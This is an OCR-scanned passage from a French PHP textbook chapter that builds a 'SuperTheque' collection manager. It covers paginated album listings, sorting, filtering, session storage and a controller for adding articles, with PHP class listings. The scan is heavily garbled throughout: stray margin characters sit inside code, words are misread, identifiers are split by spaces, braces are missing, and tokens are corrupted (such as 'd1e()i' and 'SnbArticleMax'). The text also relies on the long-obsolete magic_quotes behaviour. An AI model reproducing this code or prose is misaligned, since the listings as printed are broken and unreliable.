Notre "supertheque" sera constitute d'une collection d'articles (livre, film, musique, etc.) 
regroupes en albums. Cet exemple est tres interessant, car il offre des solutions a de nombreux 
problemes : 

■ Comment afficher N articles par page ? 
Comment modifier l'ordre d'affichage des articles ? 
Comment filtrer les articles ? 

■ Comment creer et gerer un formulaire de saisie ? 
Et bien d'autres points encore... 



Ce sont ces memes problemes que Ton rencontre dans le cas de la creation d'un forum, d'un 
moteur de recherche, d'un site de petites annonces, etc. 
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Principe de fonctionnement d'un moteur de recherche 

Puisque nous abordons ce sujet, cela vous interesse peut-etre de mieux connaitre le 
principe de fonctionnement d'un moteur de recherche. II y a, en fait, deux parties 
distinctes : Vune (appelee spider) est chargee de collecter les informations (telle une 
araignee sur la toile) et V autre (le moteur de recherche proprement dit) est chargee de 
restituer les informations selon les mots-cles saisis par I'utilisateur. 
Le principe du spider est relativement simple. II s'agit d'un logiciel qui lit le contenu 
d'une page web (quelconque), {'analyse (en extrait principalement le texte hors 
HTML), stocke dans une base de donnees I'URL de la page et le texte associe, puis 
stocke I'URL des pages proposees en lien pour pouvoir les analyser ulterieurement, et 
ainsi de suite. 

La base du moteur de recherche est celle que nous avons utilisee ici. En pratique, les 
moteurs utilisent de savants algorithmes pour afficher les resultats par ordre de 
pertinence (generalement, sont consideres comme pertinents les sites vers lesquels 
pointent de nombreux autres sites). 

Par defaut, I'application affichera la liste des articles et albums stockes dans la base de donnees. 
Pour des contraintes d'affichage, seul le titre et le type de l'article seront affiches, de plus un 
maximum de 10 articles (valeur parametrable) sera disponible par page. Par consequent, le cas 
echeant un lien sera propose pour acceder a la page de resultats suivante ou precedente. 
L'information detaillee d'un article sera disponible par un lien affiche a cote du resume de 
l'article dans la liste. Par commodite, nous proposerons d'afficher la liste des articles tries par 
titre ou type, au choix soit dans l'ordre croissant soit dans l'ordre decroissant. Nous offrirons 
egalement la possibility de filtrer les articles par titre et/ou par type. 

Bref, I'application aura Failure suivante: 
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[Ajouter un article a cet album] 
Un exemple extrait de, et detaille dans, la Bible PHP 
redigee par Damien & Thomas HEUTE, Laurent CUEDON et Pierre-Emmanuel MULLEP 



Figure 10.1 : SuperTheque 
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et offrira la possibility de voir le detail d'un article 
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Menu Titre: 
Consulter Type: 
Autre 



L'hyinne de nos campagnes 

Musique 

Commentaire: ^ ar Tl ; y0, , , , . „ , ., 

II est temps de penser a notre belle planete. 

Vous pouveza votre guise completer cette page pour atlicher d'autres 
informations (quo vous aurez pris soin d'ajouter apres avoir complete la page 
de saisie). 

Retour a la liste. 



Un exemple extrait de, et detaille dans, la Bible PHP 
redigee par Damien & Thomas HEUTE, Laurent CUEDON et Pierre-Emmanuel MULLER 



Figure 10.2: SuperTheque 



II sera bien evidemment possible d'ajouter un article a l'album selectionne ; pour cela 
1'utilisateur aura la possibilite de saisir un titre (obligatoire) et un commentaire et devra 
selectionner le type de l'article comme le montre l'ecran suivant: 
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Menu 
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Commentaire: 



Musique 



Par tryo. 

Il parait que le role de la television 
c'est de mettre le telespectateur en 
condition pour accepter la publicite. 



Vous pouveza votre guise ajouter d'autres informations 

Sauver | 



Un exemple extrait de, et detaille dans, la Bible PHP 
redigee par Damien & Thomas HEUTE, Laurent GUEDON et Pierre-Emmanuel MULLER 



Figure 10.3 : SuperTheque 
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Certes la presentation est largement perfectible mais dans l'immediat ce sont les 
fonctionnalites qui nous interessent. 



Le modele de donnees 

Le modele de donnees se deduit naturellement de la presentation qui vient d'etre faite de 

I'application. cr p 

CO J_ 

L'objet principal est bien entendu l'article. Celui-ci porte au minimum un titre et eventuellement J5 = 

un commentaire et est d'un type donne : livre, film, musique, photo, etc. Nous ajouterons un type =■ =j 

particulier baptise "album" qui aura pour objet de rassembler une collection d'articles. Par a. S 

consequent, chaque article (y compris un album) appartiendra a un album donne. = 5" 



L'objet de base sera done l'objet Article dont voici le code: 



CD* _ 
CD =■ 

« 8 



Listing 10.1 : Article class.php 

<?php 

I** 

* Article. php 

* Objet representant un objet quelconque de la collection. 

* Compatibil ite: PHP 5 

V 

class Article 
{ 

// Identifiant unique de l'article 

protected $id; 

// Titre de 1 'article 

protected $titre; 

// Identifiant du type de l'article 
protected $typeld; 

// Identifiant de 1 'album auquel appartient l'article 

protected $albumld; 

// Commentaire sur l'article 

protected $commentai re; 

public function construct($id=-l, $albumld=-l, $titre="", $typeld=-l) 

{ 

$this->setld($id) ; 
$this->setTitre($titre) ; 
$this->setTypeId($typeId) ; 
$this->setAlbumId($albumId) ; 

} 

public function getld() 
{ 

return $this->id; 

} 

public function setld($id) 

{ 
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$this->id = $id; 

public function getTitre() 
return $thi s->ti tre; 

public function setTitre($titre) 
$this->titre = $titre; 

public function getAl bumld() 
return $this->albumld; 

public function setAlbumId($albumld) 
$thi s->al bumld = $albumld; 

public function getTypeId() 
return $thi s->typeld; 

public function setTypeId($typeId) 
$thi s->typeld = $typeld; 

public function getCommentai re() 
return $thi s->commentai re; 

public function setCommentai re($commentai re) 
$thi s->commentai re = $commentai re; 

} 

?> 

Notre application n'ayant pas pour objectif d'afficher l'ensemble des articles mais seulement 
ceux de l'album selectionne et eventuellement uniquement les articles ayant un titre et/ou un 
type donne, nous utiliserons un filtre materialise par l'objet Filtre suivant: 



Presentation de I'application d'exemple 



Listing 10.2 : Filtre class.php 

<?php 

class Filtre 

{ 

private $albumld=-l; 
private $titre; 
private $typeld=-l; 

public function setAlbumId($albumId) 

$thi s->al bumld = $albumld; 



ublic function getAl bumld() 
return $this->al bumld; 



ublic function setTitre($titre) 
$this->titre = $titre; 



ublic function getTitre() 
return $thi s->ti tre; 



ublic function setTypeld ($typeld) 

if ($typeld == "") $typeld = -1; 
$thi s->typeld = $typeld; 



ublic function getTypeId() 
return $thi s->typeld; 



} 

?> 

De meme il n'est pas question d'afficher tous les articles repondant aux criteres precedents 
dans une seule et meme page. II faut done en extraire une plage de resultat. A cet effet, nous 
utiliserons la classe Plage suivante: 

Listing 10.3 : Plage class.php 

<?php 

class Plage 
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private $premierArticle; 
private $nbArticleMax; 

public function setPremierArticle($premierArticle) 
$this->premierArticle = $premierArticle; 

public function getPremierArticle() 
return $this->premierArticle; 

public function setNbArticleMax($nbArticleMax) 
$thi s->nbArti cl eMax = $nbArti cl eMax; 

public function getNbArticleMax() 
return $thi s->nbArti cl eMax; 



} 

?> 

Nous utiliserons egalement un objet Tri afin de definir la maniere dont doivent etre tries les 
articles lors de l'affichage. 

Listing 10.4 : Tri class.php 

<?php 
class Tri 

{ 

private $champ; 

private $sens; // -1 Decroissant, sans, 1 Croissant 
public function setChamp($champ) 
$this->champ = $champ; 

public function getChamp() 
return $thi s->champ; 

public function setSens ($sens) 
$this->sens = $sens; 
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public function getSens() 

{ 

return $this->sens; 

} 



?> 



Schema de la base de donnees 

En base de donnees, nous utiliserons les tables suivantes: 



Tableau 10.12: 


Articles 




Champ 


Type 


Commentaire 


id 


Entier auto-incremente 


Identifiant unique de Particle 


albumld 


Entier non null 


Identifiant de I'album (article de type 
album) auquel appartient I'article 


titre 


Chafne de caracteres 


Titre de I'article 


typeld 


Entier non null 


Identifiant du type de I'article (voir table 
types) 


commentaire 


Chafne de caracteres pouvant etre null 




Tableau 10.13 : 


Types 




Champ 


Type 


Commentaire 


id 


Entier auto increments 


Identifiant unique du type 


type 


Chafne de caracteres 


Nom du type 



Evitons les conflits 

Si vous souhaitez diffuser vos scripts, vous etes invite a faire preceder les noms des 
tables d'un prefixe librement configurable afin que Vutilisateur puisse eviter tout 
confl.it (simplement en changeant le prefixe) entre les noms des tables de vos scripts et 
cewc d'autres scripts dans le cas oil ils devraient utiliser la meme base. 

Le controleur 

Le cceur de I'application, son moteur, que Ton appelle aussi le controleur, doit permettre de 
gerer les differentes interactions de l'utilisateur. 

Une des premieres operations consiste a lire le fichier de configuration 




REMARQUE 



Chapitre 10 L'utilisation des bases de donnees 



03 V> 

■5 05 
'03 

= = 

o c 

IS o 

ca -a 



Listing 10.5 : index.php (extrait) 

include_once("config/supertheque_cfg.php") ; 
dont voici le maigre contenu 

Listing 10.6 : supertheque cfg.php 

<?php 

$nbArticleMax = 10; 



— "° // Decommenter la ligne adequat 

■-> s // 

o j§ //$ressource = "MySQL"; 

$ressource = "SQLite"; 
//$ressource = "MSSQLServer" ; 
//$ressource = "Demo"; 

?> 

Ce fichier permet de preciser combien d'articles seront affiches par page et quelle base de 
donnees (ou d'une maniere generale quelle ressource) sera utilisee. 

Avant de pouvoir commencer le controleur doit connaitre l'etat courant de l'application: a 
savoir quel est l'article qui a ete selectionne? quels sont les criteres de filtrage qui ont ete 
choisis? etc. Pour cela, et par soucis de simplicite, ces differents parametres seront stockes et lus 
en session. 

Pour chacun de ces parametres nous verifions done s'il existe en session (via la fonction 
isset ( ) ) et s'il n'est pas disponible nous initialisons sa valeur avant de le stocker en session. 



Listing 10.7 : index.php (extrait) 

// Lecture des informations stockee en session 
// ou initialisation si necessaire 



if (isset($_SESSI0N["filtre"])) { 

$filtre = $_SESSION["filtre"] ; 
} else { 

$filtre = new Filtre(); 

$filtre->setAlbumId(0) ; 

$fi 1 tre->setTi tre(" ") ; 

$filtre->setTypeId(-l) ; 

$_SESSI0N["filtre"] = $filtre; 

} 

if (isset($_SESSI0N["plage"])) { 

$plage = $_SESSI0N ["pi age"] ; 
} else { 

$plage = new Plage(); 

$plage->setPremierArticle(0) ; 

$pl age->setNbArti cl eMax($nbArti cl eMax) ; 

$_SESSI0N["plage"] = $plage; 
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if (isset($_SESSION["tri"])) { 

$tri = $_SESSION["tri"]; 
} else { 

$tri = new Tri () ; 

$tri ->setChamp("titre") ; 

$tri ->setSens (1) ; 

$_SESSION["tri"] = $tri ; 

} 

Attention, car avant de pouvoir manipuler les variables de session, il faut faire appel a 
session_start ( ) . Plus encore, il est imperatif de declarer les classes utilisees dans les 
variables de session avant cet appel a session_start ( ) . Nous insererons done avant le code 
precedent, le code: 

Listing 10.8 : index.php (extrait) 

i ncl ude_once("cl asses/Art icl e_cl ass .php") ; 

i ncl ude_once("cl asses/Fi 1 tre_cl ass .php") ; 

include_once("classes/Tri_class.php") ; 

i ncl ude_once("cl asses/Pl age_cl ass. php" ) ; 

i ncl ude_once("cl asses/SuperTheque_cl ass .php") ; 

i ncl ude_once("conf ig/supertheque_cfg. php") ; 

i ncl ude_once(" classes/Res source " .$ressource. "_cl ass. php") ; 

session_start() ; 

Nous retrouvons ici, le fichier de configuration evoque precedemment ainsi que deux nouveaux 
fichiers de classes que nous verrons plus loin. Notez que le chargement de la derniere classe 
depend du parametre de configuration $ressource. 



RENVOI 



Vous pouvez vous reporter aux sections "Les inclusions de fichiers" et "Les sessions" 
pour plus de details. 



Le controleur travaillera selon le principe que chaque action de l'utilisateur est identifiee par 
un parametre mode. Ce parametre pourra etre passe soit au travers de l'URL appelee avec un 
lien selon le modele <a href =" ?mode=modeselectionne">, soit au travers d'un formulaire 
avec un champ cache <input type= "hidden" name="mode" value= "modeselectionne " 
/>. La lecture de ce mode se fera done ainsi: 



Listing 10.9 : index.php (extrait) 

if (isset($_POST["mode"])) { 
$mode = $_P0ST["mode"] ; 

} else if (isset($_GET["mode"])) { 
$mode = $_GET["mode"] ; 

} else { 

$mode = "visualisation"; 
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Vous pouvez vous reporter a la sections "Les variables" pour plus de details. 
RENVOI 

Nous avons identifie les actions suivantes: 

■ article: afin de selectionner un article (ou album) 

tri: afin de trier les articles selon un champ (titre ou type) et un sens donne (croissant, 
decroissant) 

suivants, precedents: afin d'afficher les N articles suivants ou precedents 

■ filtre: afin de definir un nouveau filtre (base sur un titre ou type) 
visualisation: il s'agit du mode par defaut 

ajout: afin de proposer un formulaire pour l'ajout d'un article 

sauver: afin de sauvegarder les donnees soumises via le formulaire d'ajout d'un article 



Mode = article 

Lorsque nous voudrons proposer a l'utilisateur de selectionner un article (ou album) donne, 
nous n'aurons qu'a inserer un lien du type <a href=" ?mode=article 
&articleid=<articleid>"> (ou a utiliser un champ cache dans le cas d'un formulaire en 
mode post). Le controleur doit alors modifier les criteres de filtrage pour preciser quel est le 
nouvel article (ou album) selectionne. 

Attention, il y a toutefois une subtilite: Si l'utilisateur selectionne un album dans la cinquieme 
page de la liste du contenu de 1'album pere, il faut prendre soin de ne pas selectionner la 
cinquieme page de 1'album fils car celui-ci contient peut-etre moins de cinq pages. II faut done 
revenir a la premiere page de 1'album selectionne. C'est ce qui est fait ici. 

Listing 10.10 : index.php (extrait) 

if ($mode == "article") { 

//— 

// Quel article (ou album) devra etre affiche ? 

//— 

if (isset($_POST["articleId"])) { 

$articleld = $_POST["articleId"] ; 
} else if (isset($_GET["articleId"])) { 

$articleld = $_GET["articleId"] ; 
} else { 

$articleld = 0; 

} 

// Modification des parametres de filtrage 
$album = $supertheque->getArticle($articleId) ; 
$f i 1 tre->setAl bumld($articl eld) ; 
$_SESSION["filtre"] = $filtre; 




// Si 1'on passe d'un album a un autre 
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// mieux vaut aller au premier article de 1 'album 
if ($supertheque->i sAl bum($al bum) ) { 

$plage->setPremierArticle(0) ; 

$_SESSION["plage"] = $plage; 

} 

// Passage en mode visualisation (avec le nouveau filtre) 
header ("Location: ?mode=vi sual i sat ion") ; 

die(); o- 
i M 

CD 

CO 

a. 

CD 

Mode = tri §■ s 



o a: 
o 

_ 3 

CD* 
CD 



Si l'utilisateur clique sur un lien de la forme "?mode=tri&tri_champ=titre&tri_sens=i" 
alors Taction a declencher consiste uniquement a modifier les parametres de tri (champ sur «° 5? 

lequel s'applique le tri et sens du tri : -1 si decroissant, si non trie, 1 si croissant) stockes en 
session et retourner a la page principale. 



Listing 10.11 : index. php (extrait) 

if ($mode == "tri") { 

// Modification des parametres de tri 
$tri ->setChamp($_GET["tri_champ"] ) ; 
$tri->setSens($_GET["tri_sens"]) ; 
$_SESSION["tri"] = $tri ; 

// Passage en mode visualisation (avec le nouveau tri) 

header ("Location: ?mode=vi sual i sat ion") ; 

die(); 



Mode = suivants, Mode = precedents 

Si l'utilisateur clique sur un lien de la forme " ?mode= suivants" ou " ?mode=precedents" 
alors Taction a declencher consiste uniquement a modifier, en session, les parametres 
definissant la plage d'articles (en fait uniquement Tindex du premier article puisque le nombre 
d'articles a afficher fait quant a lui des parametres de configuration du script) a afficher et 
retourner a la page principale. 

Listing 10.12 : index.php (extrait) 

if ($mode == "suivants") { 

// Modification de la plage de selection 

$pl age->setPremi erArti cl e ($pl age->getPremi erArti cl e() + 

$nbArticleMax) ; 
$_SESSION["plage"] = $plage; 
// Passage en mode visualisation 
header("Location: ?mode=visualisation") ; 
d1e()i 



if ($mode == "precedents") { 
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// Modification de la plage de selection 
$plage->setPremierArticle($plage->getPremierArticle() - 

SnbArticleMax) ; 
$_SESSION["plage"] = $plage; 
// Passage en mode visualisation 
header("Location: ?mode=visualisation") ; 
die(); 



■o 03 

'03 

c 

1 ■= Mode = filtre 

— 03 

= eg Si l'utilisateur clique sur le bouton "filtrer" alors un formulaire est soumis avec 1'attribut cache 

— I <g "mode" positionne a la valeur "filtre". II convient alors de modifier les parametres de filtrage 

? -° puis retourner a la page principale. 



Listing 10.13 : index.php (extrait) 

if ($mode == "filtre") { 

// Modification des parametres de filtrage 
$f i 1 tre->setTi tre ($_P0ST [" f i 1 tre_ti tre"] ) ; 
$f i 1 tre->setTypeId ($_P0ST ["f i 1 tre_typeld"] ) ; 
$_SESSION["filtre"] = $filtre; 

// Passage en mode visualisation (avec le nouveau filtre) 

header ("Location: ?mode=vi sual i sat ion") ; 

die(); 



Mode = visualisation 

Par defaut la page principale affiche la liste des articles correspondants aux criteres de selection 
(le filtre), tries selon la regie stockee en session et en limitant l'affichage a la plage d'articles 
selectionnes (elle aussi stockee en session). Pour cela l'application doit acceder a la base de 
donnees ou d'une maniere generate a une ressource quelconque (une zone memoire, un fichier 
par exemple). Cette ressource devra nous permettre de: nous connecter via une methode 
connexion) ), nous deconnecter via une methode deconnexion ( ) , recuperer la liste des 
articles via une methode getArticies ( ) , determiner le nombre d'articles repondant aux 
criteres de selection via une methode getNbTotalArticles ( ) (pour eventuellement proposer 
un lien "page suivante"), recuperer la liste des types connus via une methode getTypes ( ) (pour 
la selection du filtre). Afin de determiner si un article donne est ou non un album, cette 
ressource devra egalement nous retourner l'identifiant du type "album" via une methode 
getAlbumTypeid ( ) . Et comme nous le verrons bientot, nous aurons besoin d'une methode 
permettant l'ajout d'un article dans la base via la methode addArticie ( ) . 

En quelques mots, nous avons dresse 1'interface de l'objet qui nous permettra d'acceder a une 
ressource quelle qu'elle soit (Un fichier, une base de donnees MySQL, Oracle, etc.). D'ou 
l'objet Ressourcelnterf ace: 
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Listing 10.14 : Ressourcelnterfaceclass.php 

<?php 

j-k-k 

* RessouceInterface_class.php 

7 

interface Ressourcelnterface 

{ " 

/** CO 
/ CD 

* Retourne 1 1 identifiant de connexion a la base de donnees *" 
*/ S 
public function connexion(); 



£2. 03 

o s: 
= o 



/** CD =■ 

CO ™ 

* Demande la deconnexion a la base de donnees 

*/ 

public function deconnexion() ; 

I** 

* Re-cree la structure de la base de donnees 

*/ 

public function reset (); 

I** 

* Ajoute un article en base 

* avec les caracteristiques donnees en parametre. 

* REM: Nous aurions egalement pu (du ?) proposer 

* une interface avec comme parametre un objet Article 

V 

public function addArticle($albumId, 

$titre, 
$typeld, 
$commentai re) ; 

I** 

* Retourne 1 'objet Article correspondant a 1 'article 

* identifie par articleld 

*/ 

public function getArticle($articleId) ; 

I** 

* Retourne un tableau indexe des articles repondant 

* aux cri teres de filtrage, trie et dont la plage nous interessant 

* a ete extraite 

*/ 

public function getArti cl es (Fi 1 tre $filtre, Plage $plage, Tri $tri); 

I** 

* Retourne le nombre total d' articles repondant 

* aux cri teres de filtrage 

*/ 

public function getNbTotalArticles(Filtre $filtre); 
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CO 



= CO 
-j CD 
— J GO 



* Retourne le tableau associatif des types 

* ou la cle est 1 1 identifiant du type 

* la valeur le nom du type 

7 

public function getTypes(); 



2 S3 / 



eu * Retourne 1 1 identifiant du type associe au type album 

7 

public function getAl bumTypeId() ; 



o <= */ 



} 

?> 

En fait, nous n'attaquerons pas la classe Ressource directement puisque nous passerons par 
une classe SuperTheque chargee d'effectuer des tests et traitements complementaires (meme 
si en l'occurrence, ici, nous aurions sans doute pu nous en passer). 



Listing 10.15 : SuperThequeclass.php 

<?php 

j-k-k 

* SuperTheque_class.php 

* Objet permettant d'acceder a la discoTheque, filmoTheque, etc. 

* a priori stockee dans une base de donnees. 

7 

class SuperTheque 

{ 

* Objet ressource utilise pour acceder aux articles. 

* Ce sera un objet pour recuperer les articles dans 

* une base de donnees mais cela pourrait tout aussi 

* bien etre un objet pour recuperer les articles dans 

* un fichier ou autres.. 

7 

protected $ressource; 

public function construct ($ressource) 

{ 

$thi s->ressource = $ressource; 

} 

public function reset() 

{ 

$this->ressource->connexion() ; 
$articles = $this->ressource->reset() ; 
$thi s->ressource->deconnexion() ; 

} 



public function addArticle($albumId, 

$titre, 
$typeld, 
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$commentai re) 

{ 

$this->ressource->connexion() ; 

$articles = $this->ressource->addArticle($albumId, 

$titre, 
$typeld, 
$commentaire); 

$thi s->ressource->deconnexion() ; 

} 

public function getArticle($articleId) 

{ 

// L'article racine (0) n'est pas un "vrai" article 

// il ne doit pas etre recupere en BD. 

if (($articleld == " ") | | ($arti cl eld == 0)) { 

return new Article(0, -1, "", $this->getAlbumTypeId()) ; 

} 

$this->ressource->connexion() ; 

$articles = $this->ressource->getArticle($articleId) ; 
$thi s->ressource->deconnexion() ; 

return $articles; 

} 

I** 

* Retourne les N articles du type selectionne 

* a partir du I-ieme, lorsqu'ils sont classes 

* dans 1 1 ordre preci se 

* @param filtre Filtre de selection 

* @param plage Plage des enregi strements a retourner 

* @param tri Regie de tri 

7 

public function getArti cl es (Fi 1 tre $filtre, Plage $plage, Tri $tri) 
{ 

$this->ressource->connexion() ; 

$articles = $this->ressource->getArticles($filtre, $plage, $tri); 
$thi s->ressource->deconnexion() ; 

return $articles; 

} 

public function getNbTotalArticles(Filtre $filtre) 

{ 

$this->ressource->connexion() ; 

$articles = $thi s->ressource->getNbTotal Arti cles ($f i 1 tre) ; 
$thi s->ressource->deconnexion() ; 

return $articles; 

} 

public function getTypesQ 
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{ 

$this->ressource->connexion() ; 

$types = $thi s->ressource->getTypes () ; 

$thi s->ressource->deconnexion() ; 

return $types; 



public function getAlbumTypeId() 

return $this->ressource->getAlbumTypeId() ; 



public function isAlbum($article) 

if ($article->getTypeId() == $this->getAlbumTypeId()) return TRUE; 
else return FALSE; 

} 

?> 

L'objet supertheque sera done instancie comme suit: 

Listing 10.16 : index.php (extrait) 

$supertheque = new SuperTheque(new Ressource()) ; 

Pour preparer l'affichage de la liste des articles d'un album ou du detail d'un article nous 
devons dans un premier temps utiliser cet objet supertheque pour recuperer les donnees 
relatives a Particle (ou album) selectionne. Ce que nous stockerons dans une variable 

$article. 

S'il s'agit d'un album nous devons recuperer l'ensemble des articles que nous stockerons dans 
un tableau $articies. 

Nous verrons, plus loin, qu'il est indispensable de connaitre le nombre total d'articles 
$nbTotaiArticles repondant aux criteres du filtre afin d'afficher ou non un lien permettant 
d'acceder a la page suivante. 

Listing 10.17 : index.php (extrait) 

if ($mode == "visualisation") { 

// Visualiser 1 'article (ou album) specifie (ou celui par defaut) 
$article = $supertheque->getArticle($filtre->getAlbumId()) ; 
if ($supertheque->i sAl bum($arti cl e) ) { 

$articles = $supertheque->getArti cl es ($f i 1 tre, 

$plage, 
$tri); 

$nbTotalArticles = $supertheque->getNbTotalArticles($filtre) ; 

} 
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Voila, nous disposons de toutes les informations necessaires a l'affichage des articles d'un 
album ou du detail d'un article. Selon le cas nous passerons done a l'une ou 1'autre des vues 

Listing 10.18 : index.php (extrait) 

if ($mode == "visualisation") 

{ 

if ($supertheque->i sAl bum($arti cl e) ) { 

i ncl ude_once("vues/SuperTheque_VueVi sual i sation_i nc.php") ; 
} else { 

i ncl ude_once("vues/SuperTheque_VueDetai l_i nc.php") ; 

} 

} 

Nous sommes quasiment prets a passer aux aspects relatifs au rendu visuel de notre application. 
Reste toutefois le cas de l'ajout d'un article dans la base. 

Mode = ajout 

L' application proposera un lien permettant de passer du mode visualisation au mode ajout dans 
lequel l'affichage des articles est remplace par l'affichage d'un formulaire permettant la saisie 
des donnees relatives au nouvel article. 

Ce mode se resume (du point de vue du controleur) done a : 

Listing 10.19 : index.php (extrait) 

if ($mode == "ajout") 

{ 

i ncl ude_once("vues/SuperTheque_VueAjout_i nc. php") ; 

} 

Mode = sauver 

Une fois les donnees du formulaire soumises, il faut les recuperer et les valider. 

Nous aurons un champ cache precisant a quel album doit etre rattache le nouvel article. Le 
champ titre est obligatoire. A chaque erreur detectee un tableau $erreurs sera alimente. Si 
aucune erreur n'a ete detectee alors il sera possible d'ajouter l'article dans la base, sinon la page 
contenant le formulaire sera affiche de nouveau avec les messages d'erreur simplement en 
passant du mode sauver au mode ajout. 

Listing 10.20 : index.php (extrait) 

if ($mode == "sauver") { 

// Ajouter le nouvel article a 1 'album $albumld 
$albumld = $_P0ST["al bumld"] ; 

// Verifions tout de meme que l'article $albumld est bien un album 
$album = $supertheque->getArti cl e($al bumld) ; 
if (!$supertheque->isAlbum($album)) { 
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$erreurs[] = "L'article s&eactue;léctionné n'est pas". 
" un album!"; 

} 

// Verifions que le champ titre a ete selectionne 

$titre = $_POST["titre"] ; 

if ((!isset($titre)) | | (strlen($titre)==0)) { 

$erreurs[] = "Le titre ne doit pas être vide."; 

} 

$typeld = $_P0ST["typeId"] ; 

if (count($erreurs)>0) 

{ 

// Au moins une erreur a ete detectee alors on ne 
// sauvegarde plus, on revient a la page d'ajout. 
$mode = "ajout"; 
} else { 

$supertheque->addArti cl e ($al bumld, 

stri pSl ashes ($_P0ST["ti tre"] ) , 
$_POST["typeId"], 

stri pSl ashes ($_POST["commentai re"] ) ) ; 
// Une fois sauvegarde on repasse en mode visualisation 
header("Location: ?mode=visualisation") ; 
die(); 

} 

} 

Ce bout de code amene a une remarque tres importante liee a l'utilisation de stripslashes ( ) . 

Magic quotes 

Par defaut, PHP est configure avec l'option magic _quotes activee, ce qui signifie que les valeurs 
passees par formulaire sont traitees pour ajouter un anti-slash devant les apostrophes. II faut 
done en tenir compte (afin de le supprimer), notamment, ici, lors de l'appel a la methode 
d'ajout d'un article pour les champs de type texte (titre et commentaire). La valeur passee a la 

methode addArticle ( ) n'est done pas $_POST [ " commentaire" ] , mais 
stripSlashes ( $_POST [ " commentaire " ] ) . 



La totale 

Voici done l'implementation complete du controleur: 

Listing 10.21 : index.php 

<?php 

i ncl ude_once("cl asses/Art i cl e_cl ass .php") ; 

i ncl ude_once("cl asses/Fi 1 tre_cl ass .php") ; 

i ncl ude_once("cl asses/Tri_cl ass .php") ; 

i ncl ude_once("cl asses/Pl age_cl ass. php") ; 

i ncl ude_once("cl asses/SuperTheque_cl ass .php") ; 

i ncl ude_once("config/supertheque_cfg.php") ; 

include_once("classes/Ressource" .$ressource. "_class.php") ; 
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session_start() ; 

$supertheque = new SuperTheque(new Ressource() ) ; 

// Lecture des informations stockee en session 
// ou initialisation si necessaire 



if (isset($_SESSION["filtre"])) { 

$filtre = $_SESSION["filtre"] ; 
} else { 

$filtre = new Filtre() ; 

$filtre->setAlbumId(0) ; 

$filtre->setTitre(" "); 

$filtre->setTypeId(-l) ; 

$_SESSION["filtre"] = $filtre; 

} 

if (isset($_SESSION["plage"])) { 

$plage = $_SESSI0N ["pi age"] ; 
} else { 

$plage = new Plage(); 

$plage->setPremierArticle(0) ; 

$pl age->setNbArti cl eMax($nbArti cl eMax) ; 

$_SESSION["plage"] = $plage; 

} 

if (isset($_SESSION["tri"])) { 

$tri = $_SESSION["tri"]; 
} else { 

$tri = new Tri () ; 
$tri->setChamp("titre") ; 
$tri ->setSens (1) ; 
$_SESSION["tri"] = $tri ; 



// 

// Que veux le visiteur ? 

// 

if (isset($_POST["mode"])) { 

$mode = $_P0ST["mode"] ; 
} else if (isset($_GET["mode"])) { 

$mode = $_GET["mode"] ; 
} else { 

$mode = "visualisation"; 

} 

if ($mode == "article") { 

// 

// Quel article (ou album) devra etre affiche ? 

// 

if (isset($_POST["articleId"])) { 
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$articleld = $_POST["articleId"] ; 
} else if (isset($_GET["articleId"])) { 

$articleld = $_GET["arti cl eld"] ; 
} else { 

$articleld = 0; 

} 

// Modification des parametres de filtrage 
$album = $supertheque->getArticle($articleId) ; 
$f i 1 tre->setAl bumld($articl eld) ; 
$_SESSI0N ["filtre"] = $f litre; 

// Si 1 ' on passe d'un album a un autre 

// mieux vaut aller au premier article de 1 'album 

if ($supertheque->isAlbum($album)) { 

$plage->setPremierArticle(0) ; 

$_SESSI0N["plage"] = $plage; 

} 

// Passage en mode visualisation (avec le nouveau filtre) 

header ("Location: ?mode=vi sual i sat ion") ; 

die(); 



if ($mode == "filtre") { 

// Modification des parametres de filtrage 
$f i 1 tre->setTi tre ($_P0ST["f i 1 tre_ti tre"] ) ; 
$f i 1 tre->setTypeId ($_P0ST ["f i 1 tre_typeld"] ) ; 
$_SESSION["filtre"] = $filtre; 

// Passage en mode visualisation (avec le nouveau filtre) 

header ("Location: ?mode=vi sual i sat ion") ; 

die(); 



if ($mode == "tri") { 

// Modification des parametres de tri 
$tri ->setChamp($_GET["tri_champ"] ) ; 
$tri->setSens($_GET["tri_sens"]) ; 
$_SESSI0N["tri"] = $tri ; 

// Passage en mode visualisation (avec le nouveau tri) 

header ("Location: ?mode=vi sual i sat ion") ; 

die(); 



if ($mode == "suivants") { 

// Modification de la plage de selection 
$plage->setPremierArticle($plage->getPremierArticle() + 

SnbArticleMax) ; 
$_SESSI0N["plage"] = $plage; 
// Passage en mode visualisation 
header("Location: ?mode=visualisation") ; 
die(); 
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if ($mode == "precedents") { 

// Modification de la plage de selection 

$pl age->setPremi erArti cl e ($pl age->getPremi erArti cl e() - 

$nbArticleMax) ; 
$_SESSION["plage"] = $plage; 
// Passage en mode visualisation 
header ("Location: ?mode=vi sual i sat ion") ; 

die() ; cr „ 

i M ■ 

} S H 

a. ~ 

if ($mode == "sauver") { §■ S. 

// Ajouter le nouvel article a 1 'album $albumld 3 § 

$albumld = $_P0ST["al bumld"] ; m a. 

// Verifions tout de meme que 1 'article $albumld est bien un album «° 
$album = $supertheque->getArti cl e($al bumld) ; 
if (!$supertheque->isAlbum($album)) { 

$erreurs[] = "L'article s&eactue;léctionné n'est pas". 
" un album!"; 

} 

// Verifions que le champ titre a ete selectionne 

$titre = $_P0ST ["titre"] ; 

if ((!isset($titre)) | | (strlen($titre)==0)) { 

$erreurs[] = "Le titre ne doit pas être vide."; 

} 

$typeld = $_POST["typeId"] ; 

if (count($erreurs)>0) 

{ 

// Au moins une erreur a ete detectee alors on ne 
// sauvegarde plus, on revient a la page d'ajout. 
$mode = "ajout"; 
} else { 

$supertheque->addArti cl e ($al bumld, 

stri pSl ashes ($_P0ST[" ti tre"] ) , 
$_POST["typeId"], 

stri pSl ashes ($_P0ST ["comment ai re"] ) ) ; 
// Une fois sauvegarde on repasse en mode visualisation 
header("Location: ?mode=visualisation") ; 
die(); 



if ($mode == "visualisation") { 

// Visualiser l'article (ou album) specifie (ou celui par defaut) 
$article = $supertheque->getArticle($filtre->getAlbumId()) ; 
if ($supertheque->i sAl bum($arti cl e) ) { 

// S'il s'agit d'un album voici ce que nous devons faire 



// 

// Creation du Filtre 
// 
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$articles = $supertheque->getArticles($filtre, 

$plage, 
$tri); 

$nbTotalArticles = $supertheque->getNbTotalArticles($filtre) ; 

} 

} 

// Pour l'affichage, nous aurons besoin de connaitre les noms 
// des differents types existants 
$types = $supertheque->getTypes() ; 

// 

// Affichage 

// — - 

include_once("entete_inc.php") ; 
if ($mode == "visualisation") 

{ 

if ($supertheque->i sAl bum($arti cl e) ) { 

